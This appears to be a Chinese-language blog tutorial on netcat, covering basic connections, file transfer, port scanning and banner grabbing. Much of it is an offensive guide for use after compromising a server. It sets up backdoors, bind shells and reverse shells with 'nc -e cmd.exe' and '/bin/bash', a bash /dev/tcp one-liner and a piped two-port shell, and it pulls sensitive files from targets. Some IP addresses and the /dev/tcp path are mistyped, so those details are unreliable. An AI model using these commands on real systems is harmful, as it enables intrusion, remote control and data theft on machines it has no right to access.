天天看點

netcat基本使用方法總結

netcat是網絡界的瑞士軍刀,使用netcat,可以解決用戶端主動連接配接伺服器被防火牆攔截的問題,使用netcat,我們的pc(控制端)相當于伺服器,伺服器(被控制端)相當于一個用戶端。下面是netcat原理圖:

netcat基本使用方法總結

netcat下載下傳位址:

https://eternallybored.org/misc/netcat/

1. 基本使用

兩台機器通信:

建立一個伺服器端

nc -l -p [localport]

建立一個用戶端方法:

nc [remote_addr] [remoteport]

2. 傳回Shell

用戶端擷取服務端的shell:

建立一個伺服器端(被控制端)

nc -l -p [localport] -e cmd.exe

netcat基本使用方法總結

建立一個用戶端(控制端)方法

nc [remote_addr] [remoteport]

netcat基本使用方法總結

3. 檔案傳輸

使用場景:

1. 驗證

當目标機器被黑客攻擊之後,驗證人員可以利用nc的檔案傳輸功能來擷取目标機器上的檔案内容。

避免直接在目标機器上進行操作造成驗證的誤差

2. 擷取目标機器上的敏感檔案

當目标機器上有一些檔案内容,無法正常下載下傳時,可以利用nc進行檔案傳輸

為什麼可以直接利用nc進行檔案傳輸:

nc中的資料傳輸使用的時标準的輸入、輸出流,是以可以直接利用指令行來進行操作。

使用方法:

1). 實作用戶端向伺服器端傳輸檔案

建立一個伺服器端方法:

nc -l -p [localport] > outfile

建立一個用戶端方法:

nc [remote_addr] [remoteport] < infile

注意端口号和<,>之間要有空格隔開

2). 實作服務端向用戶端傳輸資料

建立一個伺服器端方法:

nc -l -p [localport] < outfile

建立一個用戶端方法:

nc [remote_addr] [remoteport] > infile

對于無法連接配接到的服務端,如何避免nc假死:

如果服務端沒有準備好連接配接,而用戶端已經使用nc進行連接配接,那麼用戶端會一直等待下去,

直到連接配接上服務端,造成一種假死狀态。

解決方法:設定等待時間

nc -w3 [ip] [port] //設定等待時間3秒鐘,超過3秒鐘,用戶端直接關閉等待連接配接

4. netcat資訊探測

使用場景:

1). 目标内網的掃描

當獲得目标權限之後,如果目标沒有任何途徑可以對内網進行探測,但此時剛好有一個netcat的話,

就可以使用netcat進行内網ip和端口的掃描

2). 對某個目标進行端口探測

3). 對目标的服務banner進行抓取

端口掃描使用方法:

nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]

-v: 表示對錯誤進行詳細輸出

-n: 不對目标機器進行DNS解析

-z:zero I/O模式,專用于端口掃描,表示對目标IP發送的資料表中不好含任何payload,這樣做可以加快掃描速度

-w1: 逾時設定為1秒

對目标的服務banner進行抓取:

echo " " | nc -v -n -w1 192.168.1.101 1-1000

5. netcat建立後門

使用場景:

1). 擷取目标的指令執行權限

當目标機器上存在netcat之後,可以使用netcat建立後門,來實作執行目标指令的功能

使用方法:

監聽型後門(windows):

服務端:nc [remote_ip] [remote_port]

用戶端:nc -l -p 4444 -e cmd.exe

連接配接型後門(windows):

nc [remote_ip] [remote_port] -e cmd.exe

服務端:nc -l -p 4444

用戶端:nc [remote_ip] [remote_port] -e cmd.exe

監聽型後門(linux):

服務端:nc [remote_ip] [remote_port]

用戶端:nc -l -p 4444 -e /bin/bash

連接配接型後門(linux):

服務端:nc -l -p 4444

用戶端:nc [remote_ip] [remote_port] -e /bin/bash

6. nc指令參數

檢視指令參數:使用nc -h

-d: 脫離指令視窗,在背景運作,常用于後門建立過程

-e: 執行某個程式,常用于後門建立過程

-G gateway: 設定網關,常用于突破内網限制

-g num: 路由跳數

-i sec:設定發送每一行資料的時間間隔

-l: 設定netcat處于監聽狀态等待連接配接

-L: 設定netcat處于監聽狀态,等待連接配接,當用戶端斷開,服務端依舊回到等待狀态。

-n: 設定netcat隻識别ip位址,不在進行DNS解析。

-o file:設定傳輸十六進制的資料

-p port:設定本地監聽的端口号

-r: 設定netcat随機化的端口号

-s addr:設定netcat源位址

-t: 回複telnet的請求資料包

-u: 設定netcat使用UDP模式

-v: 顯示錯誤提示資訊

-w secs:設定連接配接逾時秒數

-z:設定掃描模式,表示發送的資料包中不包含任何payload

7. netcat 連接配接轉發

netcat基本使用方法總結

使用方法:

echo nc [targetip] [port] > delay.bat
nc -l -p [localhost] -e delay.bat
           

當有用戶端連接配接該服務端時,連接配接的用戶端和通過服務端連接配接到target port上 實作了連接配接轉發功能(端口轉發

場景: kali想通過windows連接配接到centos:

1. centos(192.168.146.128): netcat -l -p 4444
2. windows(192.1.68.1.105): nc64.exe -l -p 4445 -e delay.bat
delay.bat内容:
nc64.exe 192.168.146.128 4444
3. Kali: nc 192.1.68.1.105 4445
           

7. netcat反彈shell(bash)

應用場景:

某些拿到伺服器權限之後,想要設定一個反彈shell,但是目标伺服器上沒有安裝netcat時

netcat基本使用方法總結

在沒有安裝netcat的伺服器上執行反彈shell指令: bash -i >& /dev/tc/ip/port 0>&1

在控制端PC接收netcat指令:nc -lvp port

netcat基本使用方法總結

指令解釋:

netcat基本使用方法總結

8. netcat反彈shell(python)

應用場景:

某些拿到伺服器權限之後,想要設定一個反彈shell,但是目标伺服器上沒有安裝netcat,但是安裝了python時

在沒有安裝netcat的伺服器上執行python程式

netcat基本使用方法總結

在控制端PC接收netcat指令:nc -lvp 4445

指令解釋:

netcat基本使用方法總結

9. netcat反彈shell(不支援nc -e)

應用場景:

某些拿到伺服器權限之後,想要設定一個反彈shell,當時因為配置原因不支援 -e 參數:

netcat基本使用方法總結

反彈shell指令:

nc ip port | /bin/bash | nc ip port
nc 192.168.1.100 4445 | /bin/bash | nc 92.168.1.100 4446
           

PC接受netcat指令:nc -lvp port,需要啟動兩個監聽端口

nc -lvp 4445(輸入)
nc -lvp 4446(輸出)
           

指令解釋:

netcat基本使用方法總結